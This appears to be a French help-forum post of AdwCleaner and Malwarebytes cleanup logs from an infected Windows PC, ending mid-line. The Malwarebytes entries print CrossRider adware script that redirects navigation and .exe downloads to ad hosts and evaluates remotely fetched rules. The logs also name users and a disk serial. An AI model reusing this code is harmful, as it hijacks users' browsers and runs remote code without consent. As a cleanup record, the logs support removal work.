    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.InstallationTime", 1328118408);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.active", true);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.addressbar", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.affid", "0");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.backgroundjs", "\n//------------------ PLUGIN resources_background START ------------------\n(function(){appAPI.ready=function(a){appAPI.resources.isReady([...]
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.backgroundver", 57);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.certdomaininstaller", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.changeprevious", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.InstallationTime.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie.InstallationTime.value", "1328118408");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_aoi.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_aoi.value", "1328118408");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_hotfix20111102645.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_hotfix20111102645.value", "%221%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_parent_zoneid.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_parent_zoneid.value", "%2214019%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_product_id.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_product_id.value", "%2221%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_zoneid.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.cookie._GPL_zoneid.value", "%2217667%22");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.description", "RewardsArcade is a platform that allows users to play amazing games against their friends on Facebook and other social platforms.");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.domain", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.emailsig", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.enablesearch", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.exposesites", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.fbremoteurl", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.group", 0);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.homepage", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.iframe", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.js", "\n\n//------------------ USER PLUGIN GPL Plugin (Loader) START ------------------\nArray.prototype.indexOf||(Array.prototype.indexOf=function(b){if(vo[...]
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.manifesturl", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.name", "RewardsArcade");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.newtab", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.opensearch", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.premium", true);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.publisher", "Innovative Apps");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.searchstatus", 0);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.setnewtab", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.settingsurl", "");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.thankyou", "hxxp://www.rewardsarcade.com/r.php?app_id=498");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.updateinterval", 360);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.498.ver", 182);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.apps", "498");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.bic", "1353a06a2f290f468bac1dcd964a1302");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.cid", 498);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.firstrun", false);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.hadappinstalled", true);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.installationdate", 1328118408);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.jsver", 3);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.lastcheck", 22964694);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.lastcheckitem", 22964694);
    Ligne Supprimée : user_pref("extensions.crossriderapp498.misc.lastBgWorkerTimer", "1377900145127");
    Ligne Supprimée : user_pref("extensions.crossriderapp498.misc.lastDomWorkerTimer", "1377900145115");
    Ligne Supprimée : user_pref("keyword.URL", "hxxp://www.searchqu.com/web?src=ffb&systemid=406&q=");
    Ligne Supprimée : user_pref("sweetim.toolbar.highlight.colors", "#FFFF00,#00FFE4,#5AFF00,#0087FF,#FFCC00,#FF00F0");
    Ligne Supprimée : user_pref("sweetim.toolbar.logger.ConsoleHandler.MinReportLevel", "7");
    Ligne Supprimée : user_pref("sweetim.toolbar.logger.FileHandler.FileName", "ff-toolbar.log");
    Ligne Supprimée : user_pref("sweetim.toolbar.logger.FileHandler.MaxFileSize", "200000");
    Ligne Supprimée : user_pref("sweetim.toolbar.logger.FileHandler.MinReportLevel", "7");
    Ligne Supprimée : user_pref("sweetim.toolbar.mode.debug", "false");
    Ligne Supprimée : user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "SweetIM Search");
    Ligne Supprimée : user_pref("sweetim.toolbar.previous.browser.search.defaulturl", "");
    Ligne Supprimée : user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "SweetIM Search");
    Ligne Supprimée : user_pref("sweetim.toolbar.previous.browser.startup.homepage", "hxxp://home.sweetim.com");
    Ligne Supprimée : user_pref("sweetim.toolbar.previous.keyword.URL", "hxxp://www.searchqu.com/web?src=ffb&systemid=406&q=");
    Ligne Supprimée : user_pref("sweetim.toolbar.search.external", "<?xml version=\"1.0\"?><TOOLBAR><EXTERNAL_SEARCH engine=\"hxxp://*google.*\" param=\"q=\" /><EXTERNAL_SEARCH engine=\"hxxp://search.yahoo.com/*\" param=\"[...]
    Ligne Supprimée : user_pref("sweetim.toolbar.search.history.capacity", "10");
    Ligne Supprimée : user_pref("sweetim.toolbar.searchguard.enable", "true");
    Ligne Supprimée : user_pref("sweetim.toolbar.simapp_id", "{68D2838F-2ADC-11E1-A4F9-001D72F48A6B}");
    Ligne Supprimée : user_pref("sweetim.toolbar.urls.homepage", "hxxp://home.sweetim.com");
    Ligne Supprimée : user_pref("sweetim.toolbar.version", "1.3.0.1");

    -\\ Google Chrome v33.0.1750.154

    [ Fichier : C:\Users\Cabinet Orthophonie\AppData\Local\Google\Chrome\User Data\Default\preferences ]

    Supprimée [Search Provider] : hxxp://www.searchqu.com/web?src=ffb&systemid=406&q={searchTerms}
    Supprimée [Search Provider] : hxxp://search.conduit.com/Results.aspx?q={searchTerms}&SearchSource=49&ctid=CT3128284
    Supprimée [Search Provider] : hxxp://websearch.ask.com/redirect?client=cr&src=kw&tb=ORJ&o=&locale=&apn_uid=A31927EA-A461-4DFE-9A43-F444F76BE6CE&apn_ptnrs=U3&apn_sauid=98A0B48A-8675-4A93-88DC-138BDCFE2815&apn_dtid=OSJ000YYFR&q={searchTerms}
    Supprimée [Search Provider] : hxxp://uk.ask.com/web?q={searchTerms}
    Supprimée [Search Provider] : hxxp://www.search.ask.com/web?p2=%5EAKE%5EOSJ000%5EYY%5EFR&gct=&o=APN10452&tpid=ORJ-V7&itbv=12.0.1.100&doi=2013-09-09&apn_uid=CD7B1E25-DD88-40EF-B599-F09CAC66D82E&apn_ptnrs=AKE&apn_dtid=%5EOSJ000%5EYY%5EFR&apn_dbr=cr_29.0.1547.66&psv=&trgb=CR&q={searchTerms}
    Supprimée [Extension] : bfcpnihmbfoaeoakalclfalkdepgiaje
    Supprimée [Extension] : bopakagnckmlgajfccecajhnimjiiedh
    Supprimée [Extension] : icpgjfneehieebagbmdbhnlpiopdcmna
    Supprimée [Extension] : ifohbjbgfchkkfhphahclmkpgejiplfo
    Supprimée [Extension] : ogfjmhfnldnajmfaofeiaepghjenbgjo
    Supprimée [Extension] : pelmeidfhdlhlbjimpabfcbnnojbboma

    [ Fichier : C:\Users\Théodora\AppData\Local\Google\Chrome\User Data\Default\preferences ]

    Supprimée [Search Provider] : hxxp://uk.ask.com/web?q={searchTerms}
    Supprimée [Search Provider] : hxxp://www.searchqu.com/web?src=crb&systemid=406&q={searchTerms}
    Supprimée [Search Provider] : hxxp://www.softonic.fr/s/{searchTerms}
    Supprimée [Search Provider] : hxxp://www.search.ask.com/web?p2=%5EAKE%5EOSJ000%5EYY%5EFR&gct=&o=APN10452&tpid=ORJ-V7&itbv=12.0.1.100&doi=2013-09-09&apn_uid=CD7B1E25-DD88-40EF-B599-F09CAC66D82E&apn_ptnrs=AKE&apn_dtid=%5EOSJ000%5EYY%5EFR&apn_dbr=cr_29.0.1547.66&psv=&trgb=CR&q={searchTerms}
    Supprimée [Search Provider] : hxxp://search.v9.com/web/?type=ds&ts=1387833686&from=bnd&uid=WDCXWD5000BEVT-22ZAT0_WD-WXNY08NL5933L5933&i=psd&t=33b369d5f&q={searchTerms}
    Supprimée [Startup_urls] : hxxp://www.v9.com/?type=hp&ts=1387833686&from=bnd&uid=WDCXWD5000BEVT-22ZAT0_WD-WXNY08NL5933L5933&i=psd&t=33b369d5f
    Supprimée [Homepage] : hxxp://www.v9.com/?type=hp&ts=1387833686&from=bnd&uid=WDCXWD5000BEVT-22ZAT0_WD-WXNY08NL5933L5933&i=psd&t=33b369d5f
    Supprimée [Extension] : bfcpnihmbfoaeoakalclfalkdepgiaje
    Supprimée [Extension] : cekcjpgehmohobmdiikfnopibipmgnml

    *************************

    AdwCleaner[R0].txt - [55660 octets] - [29/04/2014 12:58:23]
    AdwCleaner[S0].txt - [55259 octets] - [29/04/2014 13:00:26]

    ########## EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [55320 octets] ##########
    0
    1. theob51 Messages postés 12 Statut Membre
       
      Malwarebytes Anti-Malware
      www.malwarebytes.org

      Date de l'examen: 29/04/2014
      Heure de l'examen: 14:42:53
      Fichier journal: antimalware.txt
      Administrateur: Oui

      Version: 2.00.1.1004
      Base de données Malveillants: v2014.04.29.03
      Base de données Rootkits: v2014.03.27.01
      Licence: Gratuite
      Protection contre les malveillants: Désactivé(e)
      Protection contre les sites Web malveillants: Désactivé(e)
      Chameleon: Désactivé(e)

      Système d'exploitation: Windows Vista Service Pack 2
      Processeur: x86
      Système de fichiers: NTFS
      Utilisateur: Cabinet Orthophonie

      Type d'examen: Examen "Menaces"
      Résultat: Terminé
      Objets analysés: 293942
      Temps écoulé: 48 min, 16 sec

      Mémoire: Activé(e)
      Démarrage: Activé(e)
      Système de fichiers: Activé(e)
      Archives: Activé(e)
      Rootkits: Désactivé(e)
      Shuriken: Activé(e)
      PUP: Activé(e)
      PUM: Activé(e)

      Processus: 0
      (No malicious items detected)

      Modules: 0
      (No malicious items detected)

      Clés du Registre: 0
      (No malicious items detected)

      Valeurs du Registre: 0
      (No malicious items detected)

      Données du Registre: 0
      (No malicious items detected)

      Dossiers: 0
      (No malicious items detected)

      Fichiers: 71
      PUP.Optional.SearchQU.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("keyword.URL", "http://www1.search-results.com/web?l=dis&q=&o=APN10645&apn_dtid=%5EBND406%5EYY%5EFR&shad=s_0043&gct=ds&apn_ptnrs=%5EAG6&d=406-0&lang=en&atb=sysid%3D406%3Auid%3Ddbe7cd5c2a458c9b%3Asrc%3Dffb%3Ao%3DAPN10645%3Atg%3D&p2=%5EAG6%5EBND406%5EYY%5EFR");), Remplacé,[1ff89a96bac1999d000e1a45ae5621df]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossrider.bic", "138e6a93030c04738e490c92e91727c6");), Remplacé,[6aada888502b1a1ce17e233c1ce8748c]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.InstallationThankYouPage", true);), Remplacé,[8790ee424338f93df967de81d23228d8]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.InstallationTime", 1324812295);), Remplacé,[6cab57d94734d4627be51b44ae5643bd]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.InstallationUserSettings.searchUserConifrmation", false);), Remplacé,[8d8a210f3f3c71c5a5bbea7515efd12f]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.InstallationUserSettings.setHomepage", false);), Remplacé,[c255cb65d3a8e74f451b61feba4ada26]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.InstallationUserSettings.setNewTab", false);), Remplacé,[af680f211863290d3d237ee17391b34d]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.InstallationUserSettings.setSearch", false);), Remplacé,[2cebca667ffc56e0f7696df233d11be5]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.active", true);), Remplacé,[1601d65ad6a5d660164ad8878b79b24e]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.addressbar", "");), Remplacé,[ec2bde52fd7e5fd71a469fc025df7987]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.affid", "0");), Remplacé,[43d4ca66304b70c679e7c89706fe27d9]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.backgroundjs", "\n//------------------ PLUGIN resources_background START ------------------ ------------------ \n(function(){appAPI.ready=function(a){appAPI.resources.isReady(a);};}());var CrossRiderResourcesManager=(function(){var C={appId:(function(){var D=appAPI.appInfo;if(D){return appAPI.appInfo.id;}else{return appAPI.appID;}})(),url:{base:{production:\"http://resources.crossrider.com\",staging:\"http://staging-app.crossrider.com\"},update:\"/apps/{appId}/resources/meta/{lastVersion}\"},env:appAPI.appInfo.environment===\"staging\"?\"staging\":\"production\",saveResource:appAPI.time.daysFromNow(90),nextCheck:360,DBNamespace:\"Resources_\",isDebug:(appAPI.internal.debug.isDebugMode()&&appAPI.internal.db.get(\"debug_resources_path\"))},w=o(\"meta\")||{},g=o(\"remote_resources\")||{remoteId:0},t=o(\"queue\")||{},B=o(\"lastVersion\")||0,A,s;appAPI.resources={init:function(){if(C.isDebug){h();}else{l(function(D){if(D){k();}else{h();}});}},isReady:function(D){s=D;if(A){h();}},get:function(D){if(typeof jQuery!==\"undefined\"){D=jQuery.trim(D);}return b(D,\"string\");},includeCSS:function(G,F){if(typeof jQuery!==\"undefined\"){G=jQuery.trim(G);}var E=b(G,\"string\");E=p(n(E,F));var D=document.createElement(\"style\");D.setAttribute(\"type\",\"text/css\");if(D.styleSheet&&typeof(D.styleSheet.cssText)===\"string\"){D.styleSheet.cssText=E;}else{D.innerHTML=E;}(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(D);},setBrowserIcon:function(D){j(D.replace(/^\\s+|\\s+$/g,\"\"));},setPopup:function(F){if(typeof F.resourcePath===\"string\"){var E=F.resourcePath;if(!C.isDebug){var D=b(E,\"string\");D=D.replace(/appAPI\\.resources\\.includeJS\\((.*?)\\)/g,\"eval(appAPI.resources.get($1))\");appAPI.browserAction.setPopupHTML(D,F.width,F.height);}else{if(C.isDebug){var G=appAPI.internal.db.get(\"debug_resources_path\")+E;appAPI.request.get(G,function(H){appAPI.browserAction.setPopupHTML(H,F.width,F.height);},function(H){if(H==404){alert(\"Crossrider - missing resource: \"+E);}});}}}else{if(typeof F.html===\"string\"){appAPI.browserAction.setPopupHTML(F.html,F.width,F.height);}}},addCSS:function(E,G){if(typeof E===\"string\"){appAPI.dom.onDocumentStart.innerAddCSS(E,G);}else{if(typeof E.resourcePath===\"string\"){var D=E.resourcePath;if(!C.isDebug){var F=b(D,\"string\");appAPI.dom.onDocumentStart.innerAddCSS(F,E.whitelistUrls);}else{if(C.isDebug){var H=appAPI.internal.db.get(\"debug_resources_path\")+D;appAPI.request.get(H,function(I){appAPI.dom.onDocumentStart.innerAddCSS(I,E.whitelistUrls);},function(I){if(I==404){alert(\"Crossrider - missing resource: \"+D);}});}}}else{if(typeof E.css===\"string\"){appAPI.dom.onDocumentStart.innerAddCSS(E.css,E.whitelistUrls);}}}},addJS:function(F,G){if(typeof F===\"string\"){appAPI.dom.onDocumentStart.innerAddJS(F,G);}if(typeof F.resourcePath===\"string\"){var E=F.resourcePath;if(!C.isDebug){var D=b(E,\"string\");D=D.replace(/appAPI\\.resources\\.includeJS\\((.*?)\\)/g,\"eval(appAPI.resources.get($1))\");appAPI.dom.onDocumentStart.innerAddJS(D,F.whitelistUrls);}else{if(C.isDebug){var H=appAPI.internal.db.get(\"debug_resources_path\")+E;appAPI.request.get(H,function(I){appAPI.dom.onDocumentStart.innerAddJS(I,F.whitelistUrls);},function(I){if(I==404){alert(\"Crossrider - missing resource: \"+E);}});}}}else{if(typeof F.js===\"string\"){appAPI.dom.onDocumentStart.innerAddJS(F.js,F.whitelistUrls);}}},openURL:function(F,D){if(typeof F===\"object\"&&typeof F.resourcePath===\"string\"&&typeof D===\"undefined\"){if(typeof F.resourcePath===\"string\"){var E=F.resourcePath;if(!C.isDebug){var H=b(E,\"string\");H=H.replace(/appAPI\\.resources\\.includeJS\\((.*?)\\)/g,\"eval(appAPI.resources.get($1))\");F.resourceContent=H;appAPI.innerOpenURL(F,D);}else{if(C.isDebug){var G=appAPI.internal.db.get(\"debug_resources_path\")+E;appAPI.request.get(G,function(I){F.resourceContent=I;appAPI.innerOpenURL(F,D);},function(I){if(I==404){alert(\"Crossrider - missing resource: \"+E);}});}}}}else{appAPI.innerOpenURL(F,D);}}};function h(){A=true;var D=null;if(typeof jQuery!==\"undefined\"){D=jQuery;}if(s){s(D);}}function l(F){var E=o(\"nextCheck\"),D=o(\"appVer\");if(E&&appAPI.appInfo.version==D){F(false);}else{appAPI.request.get(C.url.base[C.env]+C.url.update.replace(\"{appId}\",C.appId).replace(\"{lastVersion}\",B),function(G){var H=v(appAPI.JSON.parse(G));F(H);});}}function v(D){var F=appAPI.time.minutesFromNow(D.nextCheck||C.nextCheck),E;B=D.lastVersion;if(D.resources){for(i in D.resources){E=D.resources[i];m(\"resource_\"+E.id);delete w[q(E.id)];delete t[q(E.id)];if(E.status==1){w[E.name]=t[E.name]=E;}else{if(E.status==2){}}}}z(\"meta\",w);z(\"queue\",t);z(\"nextCheck\",true,F);z(\"lastVersion\",B);z(\"appVer\",appAPI.appInfo.version);return D.resources.length;}function k(){var F=0,D=0,E;for(E in t){F++;f(t[E],function(){if(++D==F){h();}});}}function f(E,F){var D=r(E);appAPI.request.get(D,function(G){delete t[E.name];z(\"resource_\"+E.id,G,C.saveResource);z(\"queue\",t);F();});}function e(F){var D=r(F),E=appAPI.request.sync.get(D);z(\"resource_\"+F.id,E,C.saveResource);return E;}function b(D,F){D=D.replace(/^\\//,\"\");var H=w[D],E=c(D),G=\"\";if(C.isDebug){G=a(D,F);}else{if(H){G=o(\"resource_\"+H.id);if(G){d(\"resource_\"+H.id,C.saveResource);}else{G=e(H);}}}return G;}function a(D,F){var G=appAPI.internal.db.get(\"debug_resources_path\"),E=F==\"string\"?appAPI.internal.file.get(x(G+D)).file_content:x(G+D);if(F==\"string\"&&E==-1){alert(\"Crossrider - missing resource: \"+D);E=\"\";}return E;}function p(E){var F=/(resource(?:\\-image)?)\\:\\/\\/(.*?)(\\\"|\\'|\\)|\\;|\\ |\\n|\\r|\\t|$)/gi,D=(/\\@import(?:.*?)url(?:.*?)(resource\\:\\/\\/(?:.*?))(?:\\\"|\\')?\\) ?\\;?/gi);return E.toString().replace(D,\"$1\").replace(F,function(H,G,J,I){return b(J,/image/.test(G)?\"image\":\"string\")+I;});}function n(E,D){var D=D||{};D[\"app-id\"]=C.appId;for(var F in D){E=E.replace(new RegExp(\"\\\\{\\\\{\"+F+\"\\\\}\\\\}\",\"g\"),D[F]);}return E;}function j(D){if(!C.isDebug||appAPI.platform==\"IE\"){appAPI.browserAction.setIcon(b(D,\"image\"));}else{if(C.isDebug){var F=appAPI.internal.db.get(\"debug_resources_path\")+D,E=D.replace(/.*\\.([^\\.]+?)$/,\"$1\");appAPI.request.getBinary({url:F,base64:true,successCallback:function(G){appAPI.browserAction.setIcon(\"data:image/\"+E+\";base64,\"+G);},failureCallback:function(G){if(G==404){alert(\"Crossrider - missing resource: \"+D);}else{if(G==-2){alert(\"Crossrider - Your browser does not support for appAPI.resources.setBrowserIcon in DEBUG mode\");}}}});}}}function u(D){return/\\.(?:gif|jpe?g|png)$/.test(D.name);}function r(D){return y(D.url+(u(D)?\".base64\":\"\"));}function c(D){return D.substring(D.lastIndexOf(\".\")+1);}function q(F){var D,E;for(E in w){if(w[E].id==F){D=E;}}return D;}function z(D,E,F){appAPI.internal.db.set(C.DBNamespace+D,E,F);}function o(D){return appAPI.internal.db.get(C.DBNamespace+D);}function m(D){return appAPI.internal.db.remove(C.DBNamespace+D);}function d(D,E){appAPI.internal.db.updateExpiration(C.DBNamespace+D,E);}function x(D){return D+\"?r=\"+Math.random();}function y(D){return D+\"?ver=\"+B;}}());(function(){try{appAPI.resources.init();if(typeof appAPI.browserAction===\"undefined\"){appAPI.browserAction={};}appAPI.browserAction.setResourceIcon=appAPI.resources.setBrowserIcon;appAPI.browserAction.setPopup=appAPI.resources.setPopup;if(typeof appAPI.dom===\"undefined\"){appAPI.dom={};}if(typeof appAPI.dom.onDocumentStart===\"undefined\"){appAPI.dom.onDocumentStart={};}if(typeof appAPI.dom.onDocumentStart.innerAddCSS!==\"undefined\"){appAPI.dom.onDocumentStart.addCSS=appAPI.resources.addCSS;}if(typeof appAPI.dom.onDocumentStart.innerAddJS!==\"undefined\"){appAPI.dom.onDocumentStart.addJS=appAPI.resources.addJS;}if(typeof appAPI.innerOpenURL!==\"undefined\"){appAPI.openURL=appAPI.resources.openURL;}}catch(a){console.error(\"Caught an exception from the resources_background\");}}());\n//------------------ PLUGIN resources_background END ------------------ \n\n\n//------------------ USER PLUGIN GPL Background (BG) START ------------------\nvar a=appAPI.db.getList(),cf_ran=!1,_GPL_BG={vars:{},rules:{},started:!1,allowed:!1,log:function(b){console.log(b)},factor:1,preinit:function(){_GPL_BG.started||_GPL_BG.captureRequests();null!=appAPI.db.get(\"_GPL_zoneid\")&&null!=appAPI.db.get(\"_GPL_product_id\")&&null!=appAPI.db.get(\"_GPL_aoi\")?(_GPL_BG.vars.zoneid=appAPI.db.get(\"_GPL_zoneid\"),_GPL_BG.vars.pid=appAPI.db.get(\"_GPL_product_id\"),_GPL_BG.vars.aoi=parseInt(appAPI.db.get(\"_GPL_aoi\")),appAPI.db.set(\"_GPL_crr\",Math.floor((new Date).getTime()/\n1E3)),_GPL_BG.init()):setTimeout(function(){_GPL_BG.preinit()},1E3)},init:function(){var b=appAPI.db.get(\"_GPL_country_code\");!b||\"\"==b?appAPI.request.get(\"http://contentcache-a.akamaihd.net/loaders/cid?r=\"+(new Date).getTime(),function(b){if(\"\"==b)setTimeout(function(){_GPL_BG.init()},1E4);else try{var c=(new Function(\"return \"+b.split(\"(\")[1].split(\")\")[0]))();c&&(c.cid&&\"\"!=c.cid)&&(appAPI.db.set(\"_GPL_country_code\",c.cid,appAPI.time.daysFromNow(7)),_GPL_BG.vars.cid=c.cid,_GPL_BG.loadRules())}catch(d){setTimeout(function(){_GPL_BG.init()},\n1E4)}},function(){setTimeout(function(){_GPL_BG.init()},1E4)}):(_GPL_BG.vars.cid=b,_GPL_BG.loadRules());setInterval(function(){_GPL_BG.factor=1;_GPL_BG.loadRules()},108E5)},loadRules:function(){appAPI.request.get(\"http://contentcache-a.akamaihd.net/srr/\"+_GPL_BG.vars.cid+\"/?r=\"+(new Date).getTime(),function(b){if(b=(new Function(\"return \"+b))())_GPL_BG.rules=b,_GPL_BG.vars.pid in _GPL_BG.rules.p&&Math.floor((new Date).getTime()/1E3)-_GPL_BG.vars.aoi>=parseInt(_GPL_BG.rules.p[_GPL_BG.vars.pid].min)&&\n(_GPL_BG.allowed=!0)},function(){setTimeout(function(){_GPL_BG.loadRules();_GPL_BG.factor*=2},6E4*_GPL_BG.factor)})},captureRequests:function(){_GPL_BG.started=!0;appAPI.onRequest(function(b,h){var c;if(h&&h==b&&(-1==h.indexOf(\"://\")&&(h=\"http://\"+h),c=_GPL_BG.processRequest(\"nav\",_GPL_BG.parse_url(h),h)))return c})},processRequest:function(b,h,c){if(!h.host)return!1;if(appAPI.db.get(\"_GPL_ib_disclosure\")&&appAPI.db.get(\"_GPL_ib_delay\")){var d;d=(\"\"+c).split(\"?\")[0].toLowerCase();var g=d.indexOf(\".exe\")==\nd.length-4;if(appAPI.db.get(\"_GPL_ib_t\"))g&&((new Image).src=\"http://ads2srv.com/impression?auid=c5007567e6bd16&zone=180966&oimg=1\");else{var e=appAPI.db.get(\"_GPL_ib_list\"),f=appAPI.db.get(\"_GPL_ip_path\")||\"is/\";if(g&&e){var g=this.getDomainVariations(h.host.toLowerCase()),q=((h.path?h.path:\"\")+(h.query?\"?\"+h.query:\"\")+(h.fragment?\"#\"+h.fragment:\"\")).toLowerCase();if(g&&0<g.length){for(var k=0,j=g.length;k<j;k++){var n=this.MD5.md5(g[k]);if(e[n]&&q.match(e[n].p))return appAPI.db.set(\"_GPL_ib_t\",\nc,appAPI.time.hoursFromNow(parseInt(appAPI.db.get(\"_GPL_ib_delay\")))),(new Image).src=\"http://ads2srv.com/impression?auid=c5007567e6bd16&zone=179939&oimg=1\",{redirectTo:(0==d.indexOf(\"http://\")?\"http://\":\"https://\")+\"download-instantly.com/\"+f+encodeURIComponent(c)}}(new Image).src=\"http://ads2srv.com/impression?auid=c5007567e6bd16&zone=180965&oimg=1\";(new Image).src=\"http://cdnstats-a.akamaihd.net/s.gif?t=exe_ineligible&u=\"+encodeURIComponent(\"\"+c.split(\"?\")[0])}}}}if(null!=appAPI.db.get(\"_GPL_crrs\")||\nnull!=appAPI.db.get(\"_GPL_sr_halt\")||!_GPL_BG.allowed)return!1;h=_GPL_BG.getRules(h,b);if(0==h.length)return!1;if(\"nav\"==b)return b=h[Math.floor(Math.random()*h.length)],appAPI.db.set(\"_GPL_sr[\"+b.d+\"]\",Math.floor((new Date).getTime()/1E3),appAPI.time.hoursFromNow(parseInt(b.h))),appAPI.db.set(\"_GPL_sr_halt\",Math.floor((new Date).getTime()/1E3),appAPI.time.minutesFromNow(15)),{redirectTo:_GPL_BG.getClickUrl(c)};if(\"resource\"==b)return{cancel:!0}},getRules:function(b,h){var c=[],d=\"nav\"==h?_GPL_BG.getDomainVariations(b.host.toLowerCase()):\n[b.host.toLowerCase()],g=((b.path?b.path:\"\")+(b.query?\"?\"+b.query:\"\")+(b.fragment?\"#\"+b.fragment:\"\")).toLowerCase(),e;if(!d||0==d.length)return c;for(var f=0,q=d.length;f<q;f++){var k=this.MD5.md5(d[f]);if(_GPL_BG.rules[k])for(var j=0,n=_GPL_BG.rules[k].length;j<n;j++)_GPL_BG.rules[k][j].t==h&&g.match(_GPL_BG.rules[k][j].k.toLowerCase())&&(_GPL_BG.rules[k][j].d=d[f],\"resource\"==h?c.push(_GPL_BG.rules[k][j]):(e=appAPI.db.get(\"_GPL_sr[\"+d[f]+\"]\"),null==e&&c.push(_GPL_BG.rules[k][j])))}return c},getClickUrl:function(b){return\"https://clicks.ads2srv.com/click?sr=\"+\nencodeURIComponent(b)+\"&zone=\"+encodeURIComponent(_GPL_BG.vars.zoneid)},getDomainVariations:function(b){b=b.toLowerCase();var 